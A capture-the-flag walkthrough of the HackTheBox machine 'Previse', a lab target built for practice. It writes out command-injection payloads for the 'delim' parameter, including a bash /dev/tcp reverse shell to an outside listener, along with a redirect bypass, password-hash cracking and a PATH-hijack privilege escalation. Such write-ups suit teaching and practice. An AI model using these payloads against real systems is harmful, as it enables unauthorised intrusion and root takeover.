HackTheBox — Previse Walkthrough
Summary
This is a write-up for a quite an easy machine on hackthebox.eu, named previse. This is a good box if you want to check for impact of misconfiguration. This box has a security misconfiguration, which allows an attacker to perform to create a malicious user. From there you can access the backup of the website. You can have a look at the source code, find that user input is not being validated, and being directly passed to python. Exploit this to get the initial access. After that you can do basic recon and can find the way for privilege escalation. Let’s jump in.
Recon
We start with a nmap to discover the open ports, I find this below code pretty helpful when doing CTFs as it runs a full port scan pretty fast and then runs another nmap on the open ports using the default scripts and version enumeration flag.
ports=$(nmap -p- --min-rate=1000 -T4 -oA nmap/previse_open_ports 10.10.11.104 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports -oA nmap/previse 10.10.11.104
Looking at the results,
# Nmap 7.92 scan initiated Sun Jan 9 12:14:28 2022 as: nmap -sC -sV -p22,80 -oA nmap/previse 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.17s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 9 12:14:41 2022 -- 1 IP address (1 host up) scanned in 12.91 seconds
We can only two ports are open, SSH on port 22 and HTTP on port 80.
SSH
The 22 port banner leaks the OpenSSH version along with the platform, which is Ubuntu. We can check for the OpenSSH version over the web and see that the version is not vulnerable to any known vulnerabilities.
HTTP
Let’s have a look at port 80. We can see that it is running an apache httpd server.
We can see it takes us to a login page http://10.10.11.104/login.php. We can try some default passwords, but it doesn’t work. So, we start with enumeration.
We will run gobuster to enumerate the directories
gobuster -dir -u http://10.10.11.104/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -t 20 -x php -o initial.out
If we look at the initial results, we can see that it is mostly redirecting the requests to login.php. The interesting thing about this is, that we can see different content length for different pages, when being redirected
In general, if there is a redirect, the content length stays the same. This might hint us towards a misconfiguration of the redirection. We can have a look at the request at burpsuite
This clearly shows us that we can see that the accounts.php is getting loaded even though it is being redirected to login.php. We can try an response manipulation. To perform the same, we can capture the response and change “HTTP/1.1 302 Found” to “HTTP/1.1 200 OK”. This will stop the redirect and we can checkout the page, maybe create an account.
Creating User
Now, we have access to create accounts
We can create an account and login to the application
We are now logged in as notso1337.
Initial Foothold
We can have a look around the application. FILES looks interesting. Let us have a look
We can see it has a file called “SITEBACKUP.ZIP”. Let’s download it and have a look at it contents.
We can open the files via sublime text. To open them all at once, we can go to directory and execute the following command
subl .
This will load all the files, and then we can look for what we are looking for
We can see that there is “config.php”, if we check it, we can see that we have a password for MySQL “mySQL_p@ssw0rd!:)”
We can now perform a search on all the loaded files. To do that press “CTRL+SHIFT+F” and a find prompt will appear
Here I am searching for “$_”, this will give us all the fields, that allows user input.
This will show us all the matching lines in the files
Line 19 on “logs.php” looks interesting
It looks like it is executing the user given parameter via a python script, which is not getting sanitized.
We can exploit this to possibly get a code execution on the box.
We will visit http://10.10.11.104/file_logs.php. This allows us to select the delimiter for the log file. As per our observation, this will allow us to execute a command
Submit the request and capture it in Burpsuite and send it to repeater
We can see that if we send the request directly we get a response time of 933 ms.
Now, to check if we really have a code execution on this or not, we can add sleep command. If the command increases the response time, we will be sure that, we have command execution.
We send the “delim” parameter as
delim=comma%3b+sleep+2
We can see that the response time changed to 2800 ms. This confirms that we have code execution.
Now, we can try to get a reverse shell
bash -c 'bash -i >& /dev/tcp/10.10.14.3/9001 0>&1'
Our parameter will be
delim=comma%3b+bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.3/9001+0>%261'
We will set our netcat listener on port 9001
We will send our payload and wait for the reverse shell to connect with us.
And we get a shell back
We can now convert it to a proper tty
python -c 'import pty;pty.spawn("/bin/bash")'
The we background the shell using “CTRL+Z”
stty raw -echo; fg
We press enter twice and we can bring our shell to the foreground. We can now use the arrow keys and history in the shell.
Enumeration
Now that we have a shell we can try to escalate our privilege.
We already have a password for MySQL. We can now try to connect to MySQL with the same, and we are connected to MySQL
We can see the databases present in MySQL
Only non-default database is “previse”
Let’s check that out
use previse
show tables;
There are two databases present. The accounts looks interesting to me. This might have a the user information. Might leak passwords as well.
select * from accounts;
There are two users and we can see the hashed passwords as well. m4lwhere’s password might be interesting, we can try to crack it.
We copy the hash to our local system and store it in a file called “hashes”. We can now crack it with john
john -format=md5crypt-long -wordlist=/usr/share/wordlists/rockyou.txt hashes
This may take sometime.
After it has been cracked, and the password for m4lwhere is “ilovecody112235!”
Now, we can try and ssh to the box via these credentials.
Privilege Escalation
After we ssh to the box, we can start with checking out the sudo -l for our user m4lwhere
We can see that we can run access_backup.sh as sudo. Also, it is intresting that the “secure_path” is not defined for m4lwhere, so we can modify the “secure_path”. This will allow us to set a path of our desired location.
How “secure_path” works is that, when a command is fired, the system looks for the command, and related executable from the path defined, from left to right.
This is kind of my understanding, might not be the right words.
We can now checkout “access_backup.sh” and see what it does.
This is executing gzip to take a backup for access logs. We can create a malicious script, which will execute a reverse shell, and name it gzip. As the path is not set, we can add our desired path at the beginning of the PATH variable, and we should be golden.
To add the current directory to the PATH
export PATH=./:$PATH
Now, if we turn on our netcat listener on port 9001, we should get a shell back
sudo /opt/scripts/access_backup.sh
Voila!!! We are root
Flags
root@previse:~# cat /root/root.txt
4cebfdc615a16a605f298b..8834
root@previse:~# cat user.txt
3da0eadc4a885fe26b3989..a6a9
Recommendation
This vulnerability was exploitable as the redirection was not implemented properly, if we want to fix this, all we need to do is add the following line
die();
The modified code should look like this
This needs to be added to all of the pages, and it should be fixed.
Hope you enjoy this write-up. Claps and Comments are appreciated. A follow will be great!
~m1kU